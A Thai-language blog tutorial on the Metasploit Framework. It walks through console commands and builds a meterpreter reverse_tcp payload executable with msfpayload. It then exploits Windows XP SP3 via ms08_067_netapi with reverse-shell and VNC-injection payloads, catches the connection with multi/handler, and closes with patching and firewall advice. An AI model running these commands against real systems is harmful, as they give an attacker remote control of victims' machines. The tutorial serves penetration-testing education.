Metasploit คืออะไร Metaploit คือ Project Open Source เกี่ยวกับ Computer Security ใช้ในการทำทดสอบการเจาะระบบ(Penetration Testing) โดย Project นี้ถูกริเริ่มโดย HD Moore ในปี 2003 และปัจจุบันถูกซื้อด้วย Rapid7 โดย Rapid7 ก็ได้ทำ version แยกมาคือ Metasploit Express แต่ก็ยังให้ใช้ Metasploit Framework ได้ฟรี โดยในบทความนี้จะพูดถึงตัว Metasploit Framework เป็นหลัก
Metasploit Framework ประกอบไปด้วยอะไรบ้าง
1.Cygwin Shell คือ ส่วนที่ไว้สำหรับใช้สร้าง Payload และอื่นๆในกรณีที่เครื่องที่ใช้เป็นระบบปฎิบัติ Windows โดยเมื่อเปิดขึ้นมาจะได้ shell เหมือนในระบบปฎิบัติการ Linux เมื่อเปิดมาจะได้
error@unknow ~$
2.Metasploit Console ส่วนนี้คือตัวโปรแกรมที่ใช้ในการทดสอบการเจาะระบบ(Penetration Testing) โดยผู้ใช้จะทำงานบน Shell(เปรียบเทียบคล้ายกับ Terminal ใน Linux) โดยเมื่อเปิดมาจะได้
| | _) |
__ `__ \ _ \ __| _` | __| __ \ | _ \ | __|
| | | __/ | ( |\__ \ | | | ( | | |
_| _| _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|
_|
=[ metasploit v3.4.2-dev [core:3.4 api:1.0]
+ — –=[ 589 exploits – 300 auxiliary
+ — –=[ 224 payloads – 27 encoders – 8 nops
=[ svn r10314 updated yesterday (2010.09.14)
msf >
3.Metasploit Update ส่วนนี้คือส่วนที่ใช้สำหรับ Update Exploit,Payload,Auxiliaries ใหม่ๆจาก Metaploit เพื่อใช้งานทดสอบการเจาะระบบ(Penetration Testing)
4.Metasploit Web ส่วนนี้คือตัวโปรแกรมที่ใช้ในการทดสอบการเจาะระบบ(Penetration Testing) โดยผู้ใช้จะทำงานบน Web เป็นลักษณะ GUI เพื่อให้ง่ายต่อการใช้งานโดยเมื่อเปิดมาจะได้ Console กับ Web
5.อื่นๆ นอกจากส่วนต่างๆที่ได้กล่าวมาแล้ว Metasploit ยังได้แถมโปรแกรมอำนวยความสะดวกมาให้ด้วยเช่น Nmap , VNCViewer, WinVI เป็นต้น
โครงสร้างที่ใช้ในการทำงานของ Metasploit ประกอบไปด้วย 3 ส่วน
1.Auxiliaries คือส่วนที่ช่วยในการอำนวยความสะดวกในการทดสอบการเจาะระบบ(Penetration Testing)
2.Exploit ส่วนนี้คือส่วนที่สำคัญในการเจาะระบบโดย Exploit ก็คือช่องโหว่ของ Service หรือ Program ที่สามารถทำให้เราหาประโยชน์ได้จากช่องโหว่เหล่านั้น เช่น การ Remote Code Execution ไปยังเครื่องไปหมาย
3.Payload คือส่วนโปรแกรมที่เราต้องการให้ไป run ที่เครื่องเป้าหมายแล้วได้อะไรบางอย่างที่เราต้องการ เช่น เมื่อ Payload ถูกรันบนเครื่องเป้าหมายแล้วให้ติดต่อกลับมาที่เครื่องเราบน port ที่เราต้องการ
คำสั่งในการใช้งานเบื้องต้น ของ Metasploit
0.คำสั่ง show เป็นคำสั่งเอาแสดง exploit payload หรือ options ตัวอย่าง “show exploits”,”show payload”,”show options”
1.คำสั่ง use เป็นคำสั่งเอาไว้ใช้เลือก exploit
2.คำสั่ง set เป็นคำสั่งเอาไว้กำหนดค่า เช่น “set payload payloadที่ต้องการ”,”set RHOST IPเครื่องที่ต้องการ”
3.คำสั่ง jobs เป็นคำสั่งเอาไว้ใช้ดูว่าตอนโปรแกรมกำลังทำงานอะไรอยู่บ้าง
4.คำสั่ง kill เป็นคำสั่งเอาไว้ปิด jobs ที่เราไม่ต้องการ ตัวอย่าง “kill idที่จะปิด”
5.คำสั่ง sessions เป็นคำสั่งเลือกเอา sessions ที่เราต้องการขึ้นมาทำงาน เช่น “sessions -i 1”
6.คำสั่ง color เป็นคำสั่งในการเปิดปิดการใช้สี
7.คำสั่ง search เป็นคำสั่งเอาไว้ค้นหา exploit หรือ payload ที่ต้องการ เช่น “search windows/smb”
8.คำสั่ง info เป็นคำสั่งที่ใช้แสดงรายละเอียดของ exploit แหล่อ้างอิงต่างๆ
9.คำสั่ง unset เป็นคำสั่งยกเลิกการกำหนดค่า เช่น “unset LHOST”
10.คำสั่ง back เป็นคำสั่งย้อนกลับการทำงานในปัจจุบัน เช่น เวลาเราเลือก exploit ไปแล้วต้องการเลือกอันใหม่ให้ใช้คำสั่งนี้เพื่อย้อนกลับได้
11.คำสั่ง version เป็นคำสั่งไว้ดูเวอร์ชั่นที่เราใช้อยู่
12.คำสั่ง help เป็นคำสั่งเอาไว้แสดง list คำสั่งต่างๆ
13.คำสั่ง exit เป็นคำสั่งเอาไว้ออกจาก console
14.คำสั่ง banner เป็นคำสั่งเอาไว้แสดง logo ของ Metasploit เท่ๆ
15.คำสั่ง cd สามารถใช้ในโปรแกรมได้ด้วยเอาไว้เปลี่ยน directory
16.คำสั่ง makerc เป็นคำสั่งเอาไว้ save คำสั่งที่เราพิมพ์ไปทั้งหมดลงไฟล์ เช่น “makerc command.txt”
17.สำสั่ง connect เอาไว้ connect เครื่องเป้าหมาย คล้ายๆ netcat ตัวอย่าง connect <IP> <Port>
18.คำสั่ง sleep เอาไว้นอน ฮ่า ^^
สำหรับคำสั่งเกี่ยวกับ database ขอลองศึกษาก่อนครับเครื่องผมมีปัญหาในการติดต่อฐานข้อมูลเลยยังลองไม่ได้เลย
วิธีใช้งาน Metasploit Framework
1. วิธีใช้งานในส่วนของ Cygwin Shell ทดสอบใช้สร้าง Payload
ตัวอย่างในการใช้ Cygwin Shell สร้าง Payload โดยใช้คำสั่ง msfpayload
error@unknow ~
$ msfpayload windows/meterpreter/reverse_tcp LHOST=IP x> payload.exe
Created by msfpayload (Penetration Testing | The Metasploit Project).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: LHOST=IP
จะได้ payload ชื่อ payload.exe ขึ้นใน folder
C:\Program Files\Metasploit\Framework3\home\error
หมายเหตุ error คือชื่อ User ,unknow คือ Computer name,payload ตัวนี้ทำอะไรได้จะอธิบายต่อไป
2. วิธีใช้งานในส่วน Metasploit Console ในการทดสอบการเจาะระบบ(Penetration Testing)นั้นอาจประกอบไปด้วย 3 ส่วนข้างต้นคือ Auxiliaries,Exploit,Payload แต่ตอนนำมาใช้งานจริงอาจจะใช้เพียงสองก็ได้ตัวอย่างทดสอบการเจาะ ระบบ(Penetration Testing) WinXP SP3
-ใช้ Exploit windows/smb/ms08_067_netapi โดย Exploit จะอาศัยช่องโหว่ของ Port
445 ในการโจมตีซึ่ง Port นี้เป็น Port ที่ใช้ในการ Share ไฟล์ของ microsoft บนระบบ
ปฎิบัติการ Windows
-ใช้ Payload windows/meterpreter/reverse_tcp โดย Payload ตัวนี้เมื่อเครื่องเป้าหมาย
Run แล้วจะทำการ Backconnect กลับมาที่เครื่องเราโดยค่า Default จะ Connect กลับมาบน
Port 4444 ทั้งนี้ทั้งนั้นเราสามารถเปลี่ยน Port ที่ต้องการให้เครื่องเหยื่อ Connect กลับมาได้
โดยใช้คำสั่ง set LPORT (Port ที่เราต้องการ) เมื่อเหยื่อ Connect กับมาแล้วเราจะได้ Shell
ของเครื่องเป้าหมาย
เพื่อให้ง่ายต่อการเข้าใจผมได้ทำวิดีโอมาให้ศึกษาโดยต้องดูแบบ HD 720+Full Screen ถึงจะเห็นตัวหนังสือที่ผมพิมพ์^^
ผมจะให้อีกตัวอย่างในการทดสอบการเจาะระบบ(Penetration Testing) WinXP SP3
-Exploit ใช้ Exploit เดียวกับตัวอย่างแรก
-Payload ใช้ Payload windows/vncinject/reverse_tcp โดย Payload ตัวนี้เมื่อเครื่อง
เป้าหมายได้ Run แล้วจะทำการติดต่อกับมาโดย Payload ตัวนี้ เราจะได้ หน้าต่างของเครื่องเหยื่อ
เลยว่าทำอะไรอยู่บ้างและสามารถควบคุมการทำงานผ่านหน้าต่างนั้นได้ต้องดูแบบ HD 720+Full Screen ถึงจะเห็นตัวหนังสือที่ผมพิมพ์^^
มาวิเคราะห์การทำ Penetration Testing ในครั้งนี้และวิธีป้องกัน
เรามาดูส่วนของ Exploit กัน Exploit นี้ได้ทำการ Remote Code ไปที่ port 445 โดยไฟล์ที่ Run Service นี้ชื่อ Svchost.exe และไฟล์นี้ได้ดึงไฟล์ไลบาลี่ต่างๆขึ้นมาทำงานด้วยโดยไฟล์ที่เราสนใจคือ AcGenral.DLL ซึ่งเราจะทำการแก้ไขค่าในหน่วยความจำบางตำแหน่งของไฟล์ AcGenral.DLLตาม Code นี้
# Metasploit’s NX bypass for XP SP2/SP3
[ ‘Windows XP SP3 English (NX)’,{
‘Ret’ => 0x6f88f807,
‘DisableNX’ => 0x6f8917c2,
‘Scratch’ => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
Code นี้เป็นภาษา Ruby ซึ่งผมก็ยอมรับตามตรงว่าดูไม่เป็นแต่จากประสอบการณ์หรือการเดา ==” จาก Code มันจะไปแก้ไขค่าในตำแหน่งหน่วยความจำบางค่าเพื่อให้เราสามารถ Remote Code Execution ได้
ถามว่าจะป้องกันได้ยังไงอัพ patch ล่าสุดช่วยได้ครับ แล้วถามว่า Firewall+AV ช่วยได้ไหม Firewall มันเปิด port 445 นี้อยู่แล้ว เป็น Default ส่วน AV นั้นล่าสุด AV บางตัวอาจสามารถช่วยได้เพราะมันเห็น payload เป็น trojan วิธีแก้อื่นๆอีกคือปิด port 445 ซะก็จบ ถ้าเราไม่ใช้มัน ==”
ปล.1 เครื่องเหยื่อที่ใช้ทดลอง ลง winXP SP3 original updateใหม่พอสมควร แต่ยังไม่ได้ update ล่าสุด
ปล.2 จากการทดสอบมา Set Firewall ดีๆก็กันได้นะ
ปล. AV = Antivirus ไม่ใช้หนัง AV ฮ่าาาาาาาาาาาาาาาา
เป้าหมายที่สามารถใช้ช่องโหว่นี้ได้
- 1 – Windows 2000 Universal
- 2 – Windows XP SP0/SP1 Universal
- 3 – Windows XP SP2 English (NX)
- 4 – Windows XP SP3 English (NX)
- 5 – Windows 2003 SP0 Universal
- 6 – Windows 2003 SP1 English (NO NX)
- 7 – Windows 2003 SP1 English (NX)
- 8 – Windows 2003 SP1 Japanese (NO NX)
- 9 – Windows 2003 SP2 English (NO NX)
- 10 – Windows 2003 SP2 English (NX)
- 11 – Windows 2003 SP2 German (NO NX)
- 12 – Windows 2003 SP2 German (NX)
- 13 – Windows XP SP2 Arabic (NX)
- 14 – Windows XP SP2 Chinese – Traditional / Taiwan (NX)
- 15 – Windows XP SP2 Chinese – Simplified (NX)
- 16 – Windows XP SP2 Chinese – Traditional (NX)
- 17 – Windows XP SP2 Czech (NX)
- 18 – Windows XP SP2 Danish (NX)
- 19 – Windows XP SP2 German (NX)
- 20 – Windows XP SP2 Greek (NX)
- 21 – Windows XP SP2 Spanish (NX)
- 22 – Windows XP SP2 Finnish (NX)
- 23 – Windows XP SP2 French (NX)
- 24 – Windows XP SP2 Hebrew (NX)
- 25 – Windows XP SP2 Hungarian (NX)
- 26 – Windows XP SP2 Italian (NX)
- 27 – Windows XP SP2 Japanese (NX)
- 28 – Windows XP SP2 Korean (NX)
- 29 – Windows XP SP2 Dutch (NX)
- 30 – Windows XP SP2 Norwegian (NX)
- 31 – Windows XP SP2 Polish (NX)
- 32 – Windows XP SP2 Portuguese – Brazilian (NX)
- 33 – Windows XP SP2 Portuguese (NX)
- 34 – Windows XP SP2 Russian (NX)
- 35 – Windows XP SP2 Swedish (NX)
- 36 – Windows XP SP2 Turkish (NX)
- 37 – Windows XP SP3 Arabic (NX)
- 38 – Windows XP SP3 Chinese – Traditional / Taiwan (NX)
- 39 – Windows XP SP3 Chinese – Simplified (NX)
- 40 – Windows XP SP3 Chinese – Traditional (NX)
- 41 – Windows XP SP3 Czech (NX)
- 42 – Windows XP SP3 Danish (NX)
- 43 – Windows XP SP3 German (NX)
- 44 – Windows XP SP3 Greek (NX)
- 45 – Windows XP SP3 Spanish (NX)
- 46 – Windows XP SP3 Finnish (NX)
- 47 – Windows XP SP3 French (NX)
- 48 – Windows XP SP3 Hebrew (NX)
- 49 – Windows XP SP3 Hungarian (NX)
- 50 – Windows XP SP3 Italian (NX)
- 51 – Windows XP SP3 Japanese (NX)
- 52 – Windows XP SP3 Korean (NX)
- 53 – Windows XP SP3 Dutch (NX)
- 54 – Windows XP SP3 Norwegian (NX)
- 55 – Windows XP SP3 Polish (NX)
- 56 – Windows XP SP3 Portuguese – Brazilian (NX)
- 57 – Windows XP SP3 Portuguese (NX)
- 58 – Windows XP SP3 Russian (NX)
- 59 – Windows XP SP3 Swedish (NX)
- 60 – Windows XP SP3 Turkish (NX)
พลิกแพลงการใช้งาน Metasploit
ในตอนต้นๆผมได้เกลิ่นเกี่ยวกับ Cygwin Shell ในการสร้าง Payload ทีนี้ผมจะมาลงตัวอย่าง + วิธีการ
ในขั้นแรกให้เราสร้าง Payload ขึ้นมาเลือกตัวที่ท่านชอบได้เลย ในที่นี้ผมชอบตัว meterpreter ผมขอใช้ตัวนี้ละกัน
วิธีสร้างมันขึ้นมา ในกรณีที่เครื่องท่านใช้ระบบปฎิบัติการ Windows ให้เปิด Cygwin Shell ขึ้นมาแล้วพิมพ์คำสั่ง
” msfpayload windows/meterpreter/reverse_tcp LHOST=IPเครื่องเรา x>ชื่อไฟล์.exe ” ท่านจะได้ไฟล์ payload มา โดย Payload ตัวนี้เมื่อเครื่องเหยื่อ Run จะ Connect กลับมาที่เครื่องคนทำ Penetration Testing
เมื่อเราสร้างมันขึ้นมาแล้วทีนี้เราเปิดตัว Metasploit console ขึ้นมา(ท่านจะใช้ตัว Web ก็แล้วแต่นะครับ)
ให้เราใช้คำสั่งรอการติดต่อมาจากเครื่องเหยื่อ คือ
“use multi/handler”
“set LHOST IPคนรอBackconnect”
“exploit”
ที่นี้ให้เครื่องเหยื่อ Run ไฟล์ Payload ที่เราสร้าง จากนั้น หึๆๆๆๆ
ผมได้ทำวิดีโอมาให้ด้วยเพื่อเพิ่มความเข้าใจครับ ต้องดูแบบ HD 720+Full Screen ถึงจะเห็นตัวหนังสือที่ผมพิมพ์^^
วิธีป้องกัน
1.Update patch ล่าสุดจาก Vendor
2.ปิด Service ที่ไม่ได้ใช้หรือตั้ง Firewall ให้เปิดเฉพาะส่วนที่เราใช้
ปล.สามารถเซฟรูปไปดูบนเครื่องเพื่อดูขนาดใหญ่
References
1.Metasploit – CITEC-Pedia
2.Metasploit Framework – /modules/exploits/windows/smb/ms08_067_netapi.rb – Metasploit Redmine Interface